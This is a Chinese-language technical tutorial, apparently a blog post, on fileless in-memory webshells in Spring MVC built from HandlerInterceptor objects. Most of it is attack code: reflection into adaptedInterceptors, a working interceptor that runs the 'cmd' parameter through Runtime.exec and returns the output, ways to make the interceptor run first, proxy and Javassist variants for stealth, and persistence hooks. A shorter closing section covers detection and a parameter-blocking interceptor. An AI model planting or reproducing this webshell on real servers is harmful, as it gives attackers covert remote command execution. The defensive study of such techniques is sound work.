在Spring框架的安全研究中,Interceptor内存马是一种极具隐蔽性的攻击技术。与传统的文件落地型后门不同,它直接在内存中完成注入,无需在磁盘上留下任何痕迹。这种技术的核心在于利用Spring MVC的请求处理机制,通过反射动态修改关键数据结构来实现持久化控制。
Spring MVC处理HTTP请求时,会经过一系列标准化的处理链条。这个过程中,HandlerInterceptor扮演着重要角色,它可以在以下三个关键节点介入请求处理:
典型的请求处理流程如下:
通过调试分析可以发现,Spring框架将所有全局拦截器存储在HandlerMapping实现类的adaptedInterceptors字段中。这个List类型的字段具有以下特点:
特别值得注意的是,RequestMappingHandlerMapping作为常用的HandlerMapping实现,继承链如下:
RequestMappingHandlerMapping → RequestMappingInfoHandlerMapping → AbstractHandlerMethodMapping → AbstractHandlerMapping
因此通过四层反射即可访问到adaptedInterceptors字段:
java复制Field f = mapping.getClass() // RequestMappingHandlerMapping
.getSuperclass() // RequestMappingInfoHandlerMapping
.getSuperclass() // AbstractHandlerMethodMapping
.getSuperclass() // AbstractHandlerMapping
.getDeclaredField("adaptedInterceptors");
要实现Interceptor内存马注入,首先需要准备标准的Spring Boot环境:
xml复制<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
java复制@RestController
public class HelloController {
@GetMapping("/hello")
public String hello() {
return "ok";
}
}
java复制public class DemoInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
System.out.println("Pre-handle processing");
return true;
}
}
注入内存马的关键步骤如下:
java复制WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
((ServletRequestAttributes) RequestContextHolder
.currentRequestAttributes()).getRequest());
java复制RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
java复制Field f = mapping.getClass()
.getSuperclass()
.getSuperclass()
.getSuperclass()
.getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
java复制List<HandlerInterceptor> interceptors = (List<HandlerInterceptor>) f.get(mapping);
interceptors.add(new MaliciousInterceptor());
一个典型的命令执行拦截器实现如下:
java复制public class CommandInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
Process process = Runtime.getRuntime().exec(cmd);
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
response.getWriter().write(line + "\n");
}
}
return false; // 中断后续处理
} catch (Exception e) {
response.getWriter().write("Error: " + e.getMessage());
return false;
}
}
return true; // 继续正常流程
}
}
在实际操作中,反射获取字段时需要注意:
java复制// 必须设置accessible为true才能访问私有字段
f.setAccessible(true);
// JDK9+需要额外考虑模块系统的访问限制
if (!f.canAccess(mapping)) {
AccessController.doPrivileged((PrivilegedAction<Void>) () -> {
f.setAccessible(true);
return null;
});
}
java复制// 原始adaptedInterceptors是同步List
List<HandlerInterceptor> interceptors =
Collections.synchronizedList(new ArrayList<>());
// 获取当前拦截器时保持同步
synchronized (mapping) {
interceptors.addAll((List<HandlerInterceptor>) f.get(mapping));
interceptors.add(new MaliciousInterceptor());
f.set(mapping, interceptors);
}
Spring中拦截器的执行顺序很重要,可以通过以下方式控制:
java复制// 获取当前拦截器列表
List<HandlerInterceptor> current = (List<HandlerInterceptor>) f.get(mapping);
// 在首位插入(最先执行)
current.add(0, new MaliciousInterceptor());
// 在末尾添加(最后执行)
current.add(new MaliciousInterceptor());
java复制public class OrderedInterceptor implements HandlerInterceptor, Ordered {
@Override
public int getOrder() {
return HIGHEST_PRECEDENCE; // 最早执行
}
// ...其他方法实现
}
针对这类内存马,可以采取以下检测手段:
java复制Map<String, HandlerMapping> mappings = context.getBeansOfType(HandlerMapping.class);
mappings.values().forEach(mapping -> {
try {
Field f = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<?> interceptors = (List<?>) f.get(mapping);
interceptors.forEach(interceptor -> {
// 检查拦截器类是否可疑
});
} catch (Exception e) {
// 处理异常
}
});
java复制if (interceptor.getClass().getClassLoader()
instanceof URLClassLoader) {
// 可疑的类加载器
}
java复制@Configuration
public class SecurityConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new SecurityInterceptor());
}
}
public class SecurityInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) {
// 检查可疑参数
if (request.getParameter("cmd") != null) {
throw new SecurityException("Dangerous parameter detected");
}
return true;
}
}
bash复制# 启动JVM时添加
-Djava.security.manager -Djava.security.policy==security.policy
更隐蔽的注入方式包括:
java复制HandlerInterceptor original = ...; // 获取原有拦截器
HandlerInterceptor proxy = (HandlerInterceptor) Proxy.newProxyInstance(
original.getClass().getClassLoader(),
new Class[]{HandlerInterceptor.class},
(proxy1, method, args) -> {
if ("preHandle".equals(method.getName())) {
// 插入恶意逻辑
}
return method.invoke(original, args);
});
// 替换原有拦截器
java复制ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(originalInterceptor.getClass().getName());
CtMethod m = cc.getDeclaredMethod("preHandle");
m.insertBefore("{ /* 注入代码 */ }");
Class<?> modifiedClass = cc.toClass();
HandlerInterceptor enhanced = (HandlerInterceptor) modifiedClass.newInstance();
实现内存马持久化的进阶方法:
java复制context.addApplicationListener(new ApplicationListener<ContextRefreshedEvent>() {
@Override
public void onApplicationEvent(ContextRefreshedEvent event) {
// 每次上下文刷新时重新注入
}
});
java复制@Component
public class MaliciousPostProcessor implements BeanPostProcessor {
@Override
public Object postProcessAfterInitialization(Object bean, String beanName) {
if (bean instanceof RequestMappingHandlerMapping) {
// 注入逻辑
}
return bean;
}
}
在实际防御中,需要结合RASP技术进行运行时防护,建立完善的类加载监控机制,并对反射操作进行严格管控。同时建议定期进行内存扫描,检查可疑的拦截器实例。